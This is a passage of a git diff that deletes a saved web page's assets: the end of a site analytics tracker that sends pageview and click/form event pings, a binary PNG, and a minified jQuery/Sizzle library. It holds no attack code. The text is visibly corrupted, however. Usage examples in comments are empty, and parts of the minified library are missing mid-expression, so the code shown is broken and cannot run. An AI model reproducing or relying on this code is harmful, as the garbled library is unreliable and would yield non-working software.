document.referrer); - - if (loadTime) - this.values.loadtime = loadTime; - - if (navToDoneTime) - this.values.nav_to_done_ms = navToDoneTime; - - if (defaultFontSize) - this.values.ga_cd1 = defaultFontSize; - - if ('devicePixelRatio' in window) - this.values.ga_cd2 = window.devicePixelRatio; - - if (mediaType) - this.values.ga_cd3 = mediaType; - - if (settings.mediaLanguage) { - this.values.ga_cd4 = settings.mediaLanguage; - } - - if (page) - this.values.page = page; - - this.send_ping(this.values); - }, - - /** - * Sends a tracking "Event". - * @param {string} category - * @param {string} action - * @param {string} label - * @param {Object} additionalEventParams - */ - send_event: function send_event( - category, - action, - label, - additionalEventParams - ) { - if (!label) label = window.location.pathname; - if (!additionalEventParams) additionalEventParams = {}; - if (additionalEventParams.mediaLanguage) { - additionalEventParams.ga_cd4 = additionalEventParams.mediaLanguage; - delete additionalEventParams.mediaLanguage; - } - var eventParams = Object.assign( - { - kind: 'event', - ec: category, - ea: action, - el: label, - cache_bust: Math.random(), - }, - additionalEventParams - ); - this.send_ping(eventParams); - }, - - /** - * @param {Object} options see this.send_pageview options - */ - send_pageview_on_load: function send_pageview_on_load(options) { - var self = this; - - window.addEventListener('load', function send_pageview_with_options() { - self.send_pageview(options); - }); - }, - - /** - * Handles tracking events passed in URL. - * Assumes category and action values are separated by a "|" character. - * NOTE: Uses the unsampled analytics property. Watch out for future high click links! - * @param {Location} - */ - process_url_events: function process_url_events(location) { - var eventValues; - var actionValue; - var eventValue = getParams(location).iax; - if (!eventValue) return; - eventValues = eventValue.split('|'); - actionValue = eventValues.length >= 1 ? eventValues[1] : ''; - this.send_event( - eventValues[0], - actionValue, - window.location.pathname, - { service: 'ao_no_sampling' } - ); - }, - - /** - * Attaches handlers for event tracking. - * - * To enable click tracking for a link, add a `data-event-click-tracking` - * attribute containing the Google Analytics Event Category and Action, separated - * by a vertical pipe (|). - * e.g. `` - * - * To enable form submit tracking, add a `data-event-form-tracking` attribute - * to the `form` tag. - * e.g. `
` - * - * Additional tracking options can be added via a `data-event-tracking-options` - * parameter. This parameter, if included, should be a JSON string of the parameters. - * Valid parameters are: - * - service {string}: Corresponds to the Google Analytics property data values flow into - */ - set_up_event_tracking: function set_up_event_tracking() { - var self = this; - var clickTrackingAttributeName = 'event-click-tracking'; - var formTrackingAttributeName = 'event-form-tracking'; - var trackingOptionsAttributeName = 'event-tracking-options'; - - function makeActionHandler(attributeName) { - return function actionHandler(event) { - var $currentTarget; - var categoryAction; - var categoryActionParts; - var options; - var submitFormFunction; - $currentTarget = $(event.currentTarget); - if (!$currentTarget) return; - categoryAction = $currentTarget.data(attributeName); - if (!categoryAction) return; - categoryActionParts = categoryAction.split('|'); - options = $currentTarget.data(trackingOptionsAttributeName) || {}; // Converts to JSON - self.send_event( - categoryActionParts[0], - categoryActionParts[1], - window.location.pathname, - options.service ? { service: options.service } : {} - ); - }; - } - $(document).on( - 'click', - '[data-' + clickTrackingAttributeName + ']', - makeActionHandler(clickTrackingAttributeName) - ); - $(document).on( - 'submit', - 'form[data-' + formTrackingAttributeName + ']', - makeActionHandler(formTrackingAttributeName) - ); - }, - - /** - * @returns {Object[]} - */ - get_data_packets: function get_data_packets() { - return [this.values]; - }, - }; -}()); diff --git a/index_files/appcanary-hero-c1a5bdc979344ee15db47660c006a5ca099cc45e2fa61.png b/index_files/appcanary-hero-c1a5bdc979344ee15db47660c006a5ca099cc45e2fa61.png deleted file mode 100644 index 679066db..00000000 Binary files a/index_files/appcanary-hero-c1a5bdc979344ee15db47660c006a5ca099cc45e2fa61.png and /dev/null differ diff --git a/index_files/application-051b661b8e84e4de003b1b0dcc4fd9fafdebce33e5571686b.js b/index_files/application-051b661b8e84e4de003b1b0dcc4fd9fafdebce33e5571686b.js deleted file mode 100644 index d03eec80..00000000 --- a/index_files/application-051b661b8e84e4de003b1b0dcc4fd9fafdebce33e5571686b.js +++ /dev/null @@ -1,26 +0,0 @@ -!function(t,e){"object"==typeof module&&"object"==typeof module.exports?module.exports=t.document?e(t,!0):function(t){if(!t.document)throw new Error("jQuery requires a window with a document");return e(t)}:e(t)}("undefined"!=typeof window?window:this,function(t,e){function n(t){var e=!!t&&"length"in t&&t.length,n=ft.type(t);return"function"!==n&&!ft.isWindow(t)&&("array"===n||0===e||"number"==typeof e&&e>0&&e-1 in t)}function r(t,e,n){if(ft.isFunction(e))return ft.grep(t,function(t,r){return!!e.call(t,r,t)!==n});if(e.nodeType)return ft.grep(t,function(t){return t===e!==n});if("string"==typeof e){if(Tt.test(e))return ft.filter(e,t,n);e=ft.filter(e,t)}return ft.grep(t,function(t){return ft.inArray(t,e)>-1!==n})}function i(t,e){do t=t[e];while(t&&1!==t.nodeType);return t}function o(t){var e={};return ft.each(t.match(Nt)||[],function(t,n){e[n]=!0}),e}function a(){rt.addEventListener?(rt.removeEventListener("DOMContentLoaded",s),t.removeEventListener("load",s)):(rt.detachEvent("onreadystatechange",s),t.detachEvent("onload",s))}function s(){(rt.addEventListener||"load"===t.event.type||"complete"===rt.readyState)&&(a(),ft.ready())}function l(t,e,n){if(void 0===n&&1===t.nodeType){var r="data-"+e.replace(Ht,"-$1").toLowerCase();if(n=t.getAttribute(r),"string"==typeof n){try{n="true"===n||"false"!==n&&("null"===n?null:+n+""===n?+n:jt.test(n)?ft.parseJSON(n):n)}catch(t){}ft.data(t,e,n)}else n=void 0}return n}function u(t){var e;for(e in t)if(("data"!==e||!ft.isEmptyObject(t[e]))&&"toJSON"!==e)return!1;return!0}function c(t,e,n,r){if(Rt(t)){var i,o,a=ft.expando,s=t.nodeType,l=s?ft.cache:t,u=s?t[a]:t[a]&&a;if(u&&l[u]&&(r||l[u].data)||void 0!==n||"string"!=typeof e)return u||(u=s?t[a]=nt.pop()||ft.guid++:a),l[u]||(l[u]=s?{}:{toJSON:ft.noop}),"object"!=typeof e&&"function"!=typeof e||(r?l[u]=ft.extend(l[u],e):l[u].data=ft.extend(l[u].data,e)),o=l[u],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[ft.camelCase(e)]=n),"string"==typeof e?(i=o[e],null==i&&(i=o[ft.camelCase(e)])):i=o,i}}function d(t,e,n){if(Rt(t)){var r,i,o=t.nodeType,a=o?ft.cache:t,s=o?t[ft.expando]:ft.expando;if(a[s]){if(e&&(r=n?a[s]:a[s].data)){ft.isArray(e)?e=e.concat(ft.map(e,ft.camelCase)):e in r?e=[e]:(e=ft.camelCase(e),e=e in r?[e]:e.split(" ")),i=e.length;for(;i--;)delete r[e[i]];if(n?!u(r):!ft.isEmptyObject(r))return}(n||(delete a[s].data,u(a[s])))&&(o?ft.cleanData([t],!0):dt.deleteExpando||a!=a.window?delete a[s]:a[s]=void 0)}}}function p(t,e,n,r){var i,o=1,a=20,s=r?function(){return r.cur()}:function(){return ft.css(t,e,"")},l=s(),u=n&&n[3]||(ft.cssNumber[e]?"":"px"),c=(ft.cssNumber[e]||"px"!==u&&+l)&&Ft.exec(ft.css(t,e));if(c&&c[3]!==u){u=u||c[3],n=n||[],c=+l||1;do o=o||".5",c/=o,ft.style(t,e,c+u);while(o!==(o=s()/l)&&1!==o&&--a)}return n&&(c=+c||+l||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=u,r.start=c,r.end=i)),i}function f(t){var e=Vt.split("|"),n=t.createDocumentFragment();if(n.createElement)for(;e.length;)n.createElement(e.pop());return n}function h(t,e){var n,r,i=0,o="undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e||"*"):"undefined"!=typeof t.querySelectorAll?t.querySelectorAll(e||"*"):void 0;if(!o)for(o=[],n=t.childNodes||t;null!=(r=n[i]);i++)!e||ft.nodeName(r,e)?o.push(r):ft.merge(o,h(r,e));return void 0===e||e&&ft.nodeName(t,e)?ft.merge([t],o):o}function m(t,e){for(var n,r=0;null!=(n=t[r]);r++)ft._data(n,"globalEval",!e||ft._data(e[r],"globalEval"))}function y(t){Ot.test(t.type)&&(t.defaultChecked=t.checked)}function v(t,e,n,r,i){for(var o,a,s,l,u,c,d,p=t.length,v=f(e),g=[],b=0;b"!==d[1]||Xt.test(a)?0:l:l.firstChild,o=a&&a.childNodes.length;o--;)ft.nodeName(c=a.childNodes[o],"tbody")&&!c.childNodes.length&&a.removeChild(c);for(ft.merge(g,l.childNodes),l.textContent="";l.firstChild;)l.removeChild(l.firstChild);l=v.lastChild}else g.push(e.createTextNode(a));for(l&&v.removeChild(l),dt.appendChecked||ft.grep(h(g,"input"),y),b=0;a=g[b++];)if(r&&ft.inArray(a,r)>-1)i&&i.push(a);else if(s=ft.contains(a.ownerDocument,a),l=h(v.appendChild(a),"script"),s&&m(l),n)for(o=0;a=l[o++];)$t.test(a.type||"")&&n.push(a);return l=null,v}function g(){return!0}function b(){return!1}function x(){try{return rt.activeElement}catch(t){}}function w(t,e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=void 0);for(s in e)w(t,s,n,r,e[s],o);return t}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),i===!1)i=b;else if(!i)return t;return 1===o&&(a=i,i=function(t){return ft().off(t),a.apply(this,arguments)},i.guid=a.guid||(a.guid=ft.guid++)),t.each(function(){ft.event.add(this,e,i,r,n)})}function E(t,e){return ft.nodeName(t,"table")&&ft.nodeName(11!==e.nodeType?e:e.firstChild,"tr")?t.getElementsByTagName("tbody")[0]||t.appendChild(t.ownerDocument.createElement("tbody")):t}function T(t){return t.type=(null!==ft.find.attr(t,"type"))+"/"+t.type,t}function C(t){var e=ie.exec(t.type);return e?t.type=e[1]:t.removeAttribute("type"),t}function S(t,e){if(1===e.nodeType&&ft.hasData(t)){var n,r,i,o=ft._data(t),a=ft._data(e,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;r1&&"string"==typeof f&&!dt.checkClone&&re.test(f))return t.each(function(i){var o=t.eq(i);m&&(e[0]=f.call(this,i,o.html())),L(o,e,n,r)});if(d&&(u=v(e,t[0].ownerDocument,!1,t,r),i=u.firstChild,1===u.childNodes.length&&(u=i),i||r)){for(s=ft.map(h(u,"script"),T),a=s.length;c")).appendTo(e.documentElement),e=(le[0].contentWindow||le[0].contentDocument).document,e.write(),e.close(),n=N(t,e),le.detach()),ue[t]=n),n}function q(t,e){return{get:function(){return t()?void delete this.get:(this.get=e).apply(this,arguments)}}}function R(t){if(t in Ce)return t;for(var e=t.charAt(0).toUpperCase()+t.slice(1),n=Te.length;n--;)if(t=Te[n]+e,t in Ce)return t}function j(t,e){for(var n,r,i,o=[],a=0,s=t.length;a=0&&n=0},isEmptyObject:function(t){var e;for(e in t)return!1;return!0},isPlainObject:function(t){var e;if(!t||"object"!==ft.type(t)||t.nodeType||ft.isWindow(t))return!1;try{if(t.constructor&&!ct.call(t,"constructor")&&!ct.call(t.constructor.prototype,"isPrototypeOf"))return!1}catch(t){return!1}if(!dt.ownFirst)for(e in t)return ct.call(t,e);for(e in t);return void 0===e||ct.call(t,e)},type:function(t){return null==t?t+"":"object"==typeof t||"function"==typeof t?lt[ut.call(t)]||"object":typeof t},globalEval:function(e){e&&ft.trim(e)&&(t.execScript||function(e){t.eval.call(t,e)})(e)},camelCase:function(t){return t.replace(mt,"ms-").replace(yt,vt)},nodeName:function(t,e){return t.nodeName&&t.nodeName.toLowerCase()===e.toLowerCase()},each:function(t,e){var r,i=0;if(n(t))for(r=t.length;iE.cacheLength&&delete t[e.shift()],t[n+" "]=r}var e=[];return t}function r(t){return t[B]=!0,t}function i(t){var e=R.createElement("div");try{return!!t(e)}catch(t){return!1}finally{e.parentNode&&e.parentNode.removeChild(e),e=null}}function o(t,e){for(var n=t.split("|"),r=n.length;r--;)E.attrHandle[n[r]]=e}function a(t,e){var n=e&&t,r=n&&1===t.nodeType&&1===e.nodeType&&(~e.sourceIndex||X)-(~t.sourceIndex||X);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===e)return-1;return t?1:-1}function s(t){return function(e){var n=e.nodeName.toLowerCase();return"input"===n&&e.type===t}}function l(t){return function(e){var n=e.nodeName.toLowerCase();return("input"===n||"button"===n)&&e.type===t}}function u(t){return r(function(e){return e=+e,r(function(n,r){for(var i,o=t([],n.length,e),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(t){return t&&"undefined"!=typeof t.getElementsByTagName&&t}function d(){}function p(t){for(var e=0,n=t.length,r="";e1?function(e,n,r){for(var i=t.length;i--;)if(!t[i](e,n,r))return!1;return!0}:t[0]}function m(t,n,r){for(var i=0,o=n.length;i-1&&(r[u]=!(a[u]=d))}}else b=y(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Q.apply(a,b)})}function g(t){for(var e,n,r,i=t.length,o=E.relative[t[0].type],a=o||E.relative[" "],s=o?1:0,l=f(function(t){return t===e},a,!0),u=f(function(t){return tt(e,t)>-1},a,!0),c=[function(t,n,r){var i=!o&&(r||n!==A)||((e=n).nodeType?l(t,n,r):u(t,n,r));return e=null,i}];s1&&h(c),s>1&&p(t.slice(0,s-1).concat({value:" "===t[s-2].type?"*":""})).replace(st,"$1"),n,s0,o=t.length>0,a=function(r,a,s,l,u){var c,d,p,f=0,h="0",m=r&&[],v=[],g=A,b=r||o&&E.find.TAG("*",u),x=_+=null==g?1:Math.random()||.1,w=b.length;for(u&&(A=a===R||a||u);h!==w&&null!=(c=b[h]);h++){if(o&&c){for(d=0,a||c.ownerDocument===R||(q(c),s=!H);p=t[d++];)if(p(c,a||R,s)){l.push(c);break}u&&(_=x)}i&&((c=!p&&c)&&f--,r&&m.push(c))}if(f+=h,i&&h!==f){for(d=0;p=n[d++];)p(m,v,a,s);if(r){if(f>0)for(;h--;)m[h]||v[h]||(v[h]=Y.call(l));v=y(v)}Q.apply(l,v),u&&!r&&v.length>0&&f+n.length>1&&e.uniqueSort(l)}return u&&(_=x,A=g),m};return i?r(a):a}var x,w,E,T,C,S,k,L,A,N,D,q,R,j,H,P,F,I,M,B="sizzle"+1*new Date,O=t.document,_=0,$=0,W=n(),V=n(),z=n(),U=function(t,e){return t===e&&(D=!0),0},X=1<<31,K={}.hasOwnProperty,G=[],Y=G.pop,J=G.push,Q=G.push,Z=G.slice,tt=function(t,e){for(var n=0,r=t.length;n+~]|"+nt+")"+nt+"*"),ct=new RegExp("="+nt+"*([^\\]'\"]*?)"+nt+"*\\]","g"),dt=new RegExp(ot),pt=new RegExp("^"+rt+"$"),ft={ID:new RegExp("^#("+rt+")"),CLASS:new RegExp("^\\.("+rt+")"),TAG:new RegExp("^("+rt+"|[*])"),ATTR:new RegExp("^"+it),PSEUDO:new RegExp("^"+ot),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+nt+"*(even|odd|(([+-]|)(\\d*)n|)"+nt+"*(?:([+-]|)"+nt+"*(\\d+)|))"+nt+"*\\)|)","i"),bool:new RegExp("^(?:"+et+")$","i"),needsContext:new RegExp("^"+nt+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+nt+"*((?:-\\d)?\\d*)"+nt+"*\\)|)(?=[^-]|$)","i")},ht=/^(?:input|select|textarea|button)$/i,mt=/^h\d$/i,yt=/^[^{]+\{\s*\[native \w/,vt=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,gt=/[+~]/,bt=/'|\\/g,xt=new RegExp("\\\\([\\da-f]{1,6}"+nt+"?|("+nt+")|.)","ig"),wt=function(t,e,n){var r="0x"+e-65536;return r!==r||n?e:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},Et=function(){q()};try{Q.apply(G=Z.call(O.childNodes),O.childNodes),G[O.childNodes.length].nodeType}catch(t){Q={apply:G.length?function(t,e){J.apply(t,Z.call(e))}:function(t,e){for(var n=t.length,r=0;t[n++]=e[r++];);t.length=n-1}}}w=e.support={},C=e.isXML=function(t){var e=t&&(t.ownerDocument||t).documentElement;return!!e&&"HTML"!==e.nodeName},q=e.setDocument=function(t){var e,n,r=t?t.ownerDocument||t:O;return r!==R&&9===r.nodeType&&r.documentElement?(R=r,j=R.documentElement,H=!C(R),(n=R.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",Et,!1):n.attachEvent&&n.attachEvent("onunload",Et)),w.attributes=i(function(t){return t.className="i",!t.getAttribute("className")}),w.getElementsByTagName=i(function(t){return t.appendChild(R.createComment("")),!t.getElementsByTagName("*").length}),w.getElementsByClassName=yt.test(R.getElementsByClassName),w.getById=i(function(t){return j.appendChild(t).id=B,!R.getElementsByName||!R.getElementsByName(B).length}),w.getById?(E.find.ID=function(t,e){if("undefined"!=typeof e.getElementById&&H){var n=e.getElementById(t);return n?[n]:[]}},E.filter.ID=function(t){var e=t.replace(xt,wt);return function(t){return t.getAttribute("id")===e}}):(delete E.find.ID,E.filter.ID=function(t){var e=t.replace(xt,wt);return function(t){var n="undefined"!=typeof t.getAttributeNode&&t.getAttributeNode("id");return n&&n.value===e}}),E.find.TAG=w.getElementsByTagName?function(t,e){return"undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t):w.qsa?e.querySelectorAll(t):void 0}:function(t,e){var n,r=[],i=0,o=e.getElementsByTagName(t);if("*"===t){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},E.find.CLASS=w.getElementsByClassName&&function(t,e){if("undefined"!=typeof e.getElementsByClassName&&H)return e.getElementsByClassName(t)},F=[],P=[],(w.qsa=yt.test(R.querySelectorAll))&&(i(function(t){j.appendChild(t).innerHTML="",t.querySelectorAll("[msallowcapture^='']").length&&P.push("[*^$]="+nt+"*(?:''|\"\")"),t.querySelectorAll("[selected]").length||P.push("\\["+nt+"*(?:value|"+et+")"),t.querySelectorAll("[id~="+B+"-]").length||P.push("~="),t.querySelectorAll(":checked").length||P.push(":checked"),t.querySelectorAll("a#"+B+"+*").length||P.push(".#.+[+~]")}),i(function(t){var e=R.createElement("input");e.setAttribute("type","hidden"),t.appendChild(e).setAttribute("name","D"),t.querySelectorAll("[name=d]").length&&P.push("name"+nt+"*[*^$|!~]?="),t.querySelectorAll(":enabled").length||P.push(":enabled",":disabled"),t.querySelectorAll("*,:x"),P.push(",.*:")})),(w.matchesSelector=yt.test(I=j.matches||j.webkitMatchesSelector||j.mozMatchesSelector||j.oMatchesSelector||j.msMatchesSelector))&&i(function(t){w.disconnectedMatch=I.call(t,"div"),I.call(t,"[s!='']:x"),F.push("!=",ot)}),P=P.length&&new RegExp(P.join("|")),F=F.length&&new RegExp(F.join("|")),e=yt.test(j.compareDocumentPosition),M=e||yt.test(j.contains)?function(t,e){var n=9===t.nodeType?t.documentElement:t,r=e&&e.parentNode;return t===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):t.compareDocumentPosition&&16&t.compareDocumentPosition(r)))}:function(t,e){if(e)for(;e=e.parentNode;)if(e===t)return!0;return!1},U=e?function(t,e){if(t===e)return D=!0,0;var n=!t.compareDocumentPosition-!e.compareDocumentPosition;return n?n:(n=(t.ownerDocument||t)===(e.ownerDocument||e)?t.compareDocumentPosition(e):1,1&n||!w.sortDetached&&e.compareDocumentPosition(t)===n?t===R||t.ownerDocument===O&&M(O,t)?-1:e===R||e.ownerDocument===O&&M(O,e)?1:N?tt(N,t)-tt(N,e):0:4&n?-1:1)}:function(t,e){if(t===e)return D=!0,0;var n,r=0,i=t.parentNode,o=e.parentNode,s=[t],l=[e];if(!i||!o)return t===R?-1:e===R?1:i?-1:o?1:N?tt(N,t)-tt(N,e):0;if(i===o)return a(t,e);for(n=t;n=n.parentNode;)s.unshift(n);for(n=e;n=n.parentNode;)l.unshift(n);for(;s[r]===l[r];)r++;return r?a(s[r],l[r]):s[r]===O?-1:l[r]===O?1:0},R):R},e.matches=function(t,n){return e(t,null,null,n)},e.matchesSelector=function(t,n){if((t.ownerDocument||t)!==R&&q(t),n=n.replace(ct,"='$1']"),w.matchesSelector&&H&&!z[n+" "]&&(!F||!F.test(n))&&(!P||!P.test(n)))try{var r=I.call(t,n);if(r||w.disconnectedMatch||t.document&&11!==t.document.nodeType)return r}catch(t){}return e(n,R,null,[t]).length>0},e.contains=function(t,e){return(t.ownerDocument||t)!==R&&q(t),M(t,e)},e.attr=function(t,e){(t.ownerDocument||t)!==R&&q(t);var n=E.attrHandle[e.toLowerCase()],r=n&&K.call(E.attrHandle,e.toLowerCase())?n(t,e,!H):void 0;return void 0!==r?r:w.attributes||!H?t.getAttribute(e):(r=t.getAttributeNode(e))&&r.specified?r.value:null},e.error=function(t){throw new Error("Syntax error, unrecognized expression: "+t)},e.uniqueSort=function(t){var e,n=[],r=0,i=0;if(D=!w.detectDuplicates,N=!w.sortStable&&t.slice(0),t.sort(U),D){for(;e=t[i++];)e===t[i]&&(r=n.push(i));for(;r--;)t.splice(n[r],1)}return N=null,t},T=e.getText=function(t){var e,n="",r=0,i=t.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof t.textContent)return t.textContent;for(t=t.firstChild;t;t=t.nextSibling)n+=T(t)}else if(3===i||4===i)return t.nodeValue}else for(;e=t[r++];)n+=T(e);return n},E=e.selectors={cacheLength:50,createPseudo:r,match:ft,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(t){return t[1]=t[1].replace(xt,wt),t[3]=(t[3]||t[4]||t[5]||"").replace(xt,wt),"~="===t[2]&&(t[3]=" "+t[3]+" "),t.slice(0,4)},CHILD:function(t){return t[1]=t[1].toLowerCase(),"nth"===t[1].slice(0,3)?(t[3]||e.error(t[0]),t[4]=+(t[4]?t[5]+(t[6]||1):2*("even"===t[3]||"odd"===t[3])),t[5]=+(t[7]+t[8]||"odd"===t[3])):t[3]&&e.error(t[0]),t},PSEUDO:function(t){var e,n=!t[6]&&t[2];return ft.CHILD.test(t[0])?null:(t[3]?t[2]=t[4]||t[5]||"":n&&dt.test(n)&&(e=S(n,!0))&&(e=n.indexOf(")",n.length-e)-n.length)&&(t[0]=t[0].slice(0,e),t[2]=n.slice(0,e)),t.slice(0,3))}},filter:{TAG:function(t){var e=t.replace(xt,wt).toLowerCase();return"*"===t?function(){return!0}:function(t){return t.nodeName&&t.nodeName.toLowerCase()===e}},CLASS:function(t){var e=W[t+" "];return e||(e=new RegExp("(^|"+nt+")"+t+"("+nt+"|$)"))&&W(t,function(t){return e.test("string"==typeof t.className&&t.className||"undefined"!=typeof t.getAttribute&&t.getAttribute("class")||"")})},ATTR:function(t,n,r){return function(i){var o=e.attr(i,t);return null==o?"!="===n:!n||(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o.replace(at," ")+" ").indexOf(r)>-1:"|="===n&&(o===r||o.slice(0,r.length+1)===r+"-"))}},CHILD:function(t,e,n,r,i){var o="nth"!==t.slice(0,3),a="last"!==t.slice(-4),s="of-type"===e;return 1===r&&0===i?function(t){return!!t.parentNode}:function(e,n,l){var u,c,d,p,f,h,m=o!==a?"nextSibling":"previousSibling",y=e.parentNode,v=s&&e.nodeName.toLowerCase(),g=!l&&!s,b=!1;if(y){if(o){for(;m;){for(p=e;p=p[m];)if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=m="only"===t&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&g){for(p=y,d=p[B]||(p[B]={}),c=d[p.uniqueID]||(d[p.uniqueID]={}),u=c[t]||[],f=u[0]===_&&u[1],b=f&&u[2],p=f&&y.childNodes[f];p=++f&&p&&p[m]||(b=f=0)||h.pop();)if(1===p.nodeType&&++b&&p===e){c[t]=[_,f,b];break}}else if(g&&(p=e,d=p[B]||(p[B]={}),c=d[p.uniqueID]||(d[p.uniqueID]={}),u=c[t]||[],f=u[0]===_&&u[1],b=f),b===!1)for(;(p=++f&&p&&p[m]||(b=f=0)||h.pop())&&((s?p.nodeName.toLowerCase()!==v:1!==p.nodeType)||!++b||(g&&(d=p[B]||(p[B]={}),c=d[p.uniqueID]||(d[p.uniqueID]={}),c[t]=[_,b]),p!==e)););return b-=i,b===r||b%r===0&&b/r>=0}}},PSEUDO:function(t,n){var i,o=E.pseudos[t]||E.setFilters[t.toLowerCase()]||e.error("unsupported pseudo: "+t);return o[B]?o(n):o.length>1?(i=[t,t,"",n],E.setFilters.hasOwnProperty(t.toLowerCase())?r(function(t,e){for(var r,i=o(t,n),a=i.length;a--;)r=tt(t,i[a]),t[r]=!(e[r]=i[a])}):function(t){return o(t,0,i)}):o}},pseudos:{not:r(function(t){ -var e=[],n=[],i=k(t.replace(st,"$1"));return i[B]?r(function(t,e,n,r){for(var o,a=i(t,null,r,[]),s=t.length;s--;)(o=a[s])&&(t[s]=!(e[s]=o))}):function(t,r,o){return e[0]=t,i(e,null,o,n),e[0]=null,!n.pop()}}),has:r(function(t){return function(n){return e(t,n).length>0}}),contains:r(function(t){return t=t.replace(xt,wt),function(e){return(e.textContent||e.innerText||T(e)).indexOf(t)>-1}}),lang:r(function(t){return pt.test(t||"")||e.error("unsupported lang: "+t),t=t.replace(xt,wt).toLowerCase(),function(e){var n;do if(n=H?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return n=n.toLowerCase(),n===t||0===n.indexOf(t+"-");while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var n=t.location&&t.location.hash;return n&&n.slice(1)===e.id},root:function(t){return t===j},focus:function(t){return t===R.activeElement&&(!R.hasFocus||R.hasFocus())&&!!(t.type||t.href||~t.tabIndex)},enabled:function(t){return t.disabled===!1},disabled:function(t){return t.disabled===!0},checked:function(t){var e=t.nodeName.toLowerCase();return"input"===e&&!!t.checked||"option"===e&&!!t.selected},selected:function(t){return t.parentNode&&t.parentNode.selectedIndex,t.selected===!0},empty:function(t){for(t=t.firstChild;t;t=t.nextSibling)if(t.nodeType<6)return!1;return!0},parent:function(t){return!E.pseudos.empty(t)},header:function(t){return mt.test(t.nodeName)},input:function(t){return ht.test(t.nodeName)},button:function(t){var e=t.nodeName.toLowerCase();return"input"===e&&"button"===t.type||"button"===e},text:function(t){var e;return"input"===t.nodeName.toLowerCase()&&"text"===t.type&&(null==(e=t.getAttribute("type"))||"text"===e.toLowerCase())},first:u(function(){return[0]}),last:u(function(t,e){return[e-1]}),eq:u(function(t,e,n){return[n<0?n+e:n]}),even:u(function(t,e){for(var n=0;n=0;)t.push(r);return t}),gt:u(function(t,e,n){for(var r=n<0?n+e:n;++r2&&"ID"===(a=o[0]).type&&w.getById&&9===e.nodeType&&H&&E.relative[o[1].type]){if(e=(E.find.ID(a.matches[0].replace(xt,wt),e)||[])[0],!e)return n;u&&(e=e.parentNode),t=t.slice(o.shift().value.length)}for(i=ft.needsContext.test(t)?0:o.length;i--&&(a=o[i],!E.relative[s=a.type]);)if((l=E.find[s])&&(r=l(a.matches[0].replace(xt,wt),gt.test(o[0].type)&&c(e.parentNode)||e))){if(o.splice(i,1),t=r.length&&p(o),!t)return Q.apply(n,r),n;break}}return(u||k(t,d))(r,e,!H,n,!e||gt.test(t)&&c(e.parentNode)||e),n},w.sortStable=B.split("").sort(U).join("")===B,w.detectDuplicates=!!D,q(),w.sortDetached=i(function(t){return 1&t.compareDocumentPosition(R.createElement("div"))}),i(function(t){return t.innerHTML="","#"===t.firstChild.getAttribute("href")})||o("type|href|height|width",function(t,e,n){if(!n)return t.getAttribute(e,"type"===e.toLowerCase()?1:2)}),w.attributes&&i(function(t){return t.innerHTML="",t.firstChild.setAttribute("value",""),""===t.firstChild.getAttribute("value")})||o("value",function(t,e,n){if(!n&&"input"===t.nodeName.toLowerCase())return t.defaultValue}),i(function(t){return null==t.getAttribute("disabled")})||o(et,function(t,e,n){var r;if(!n)return t[e]===!0?e.toLowerCase():(r=t.getAttributeNode(e))&&r.specified?r.value:null}),e}(t);ft.find=gt,ft.expr=gt.selectors,ft.expr[":"]=ft.expr.pseudos,ft.uniqueSort=ft.unique=gt.uniqueSort,ft.text=gt.getText,ft.isXMLDoc=gt.isXML,ft.contains=gt.contains;var bt=function(t,e,n){for(var r=[],i=void 0!==n;(t=t[e])&&9!==t.nodeType;)if(1===t.nodeType){if(i&&ft(t).is(n))break;r.push(t)}return r},xt=function(t,e){for(var n=[];t;t=t.nextSibling)1===t.nodeType&&t!==e&&n.push(t);return n},wt=ft.expr.match.needsContext,Et=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,Tt=/^.[^:#\[\.,]*$/;ft.filter=function(t,e,n){var r=e[0];return n&&(t=":not("+t+")"),1===e.length&&1===r.nodeType?ft.find.matchesSelector(r,t)?[r]:[]:ft.find.matches(t,ft.grep(e,function(t){return 1===t.nodeType}))},ft.fn.extend({find:function(t){var e,n=[],r=this,i=r.length;if("string"!=typeof t)return this.pushStack(ft(t).filter(function(){for(e=0;e1?ft.unique(n):n),n.selector=this.selector?this.selector+" "+t:t,n},filter:function(t){return this.pushStack(r(this,t||[],!1))},not:function(t){return this.pushStack(r(this,t||[],!0))},is:function(t){return!!r(this,"string"==typeof t&&wt.test(t)?ft(t):t||[],!1).length}});var Ct,St=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,kt=ft.fn.init=function(t,e,n){var r,i;if(!t)return this;if(n=n||Ct,"string"==typeof t){if(r="<"===t.charAt(0)&&">"===t.charAt(t.length-1)&&t.length>=3?[null,t,null]:St.exec(t),!r||!r[1]&&e)return!e||e.jquery?(e||n).find(t):this.constructor(e).find(t);if(r[1]){if(e=e instanceof 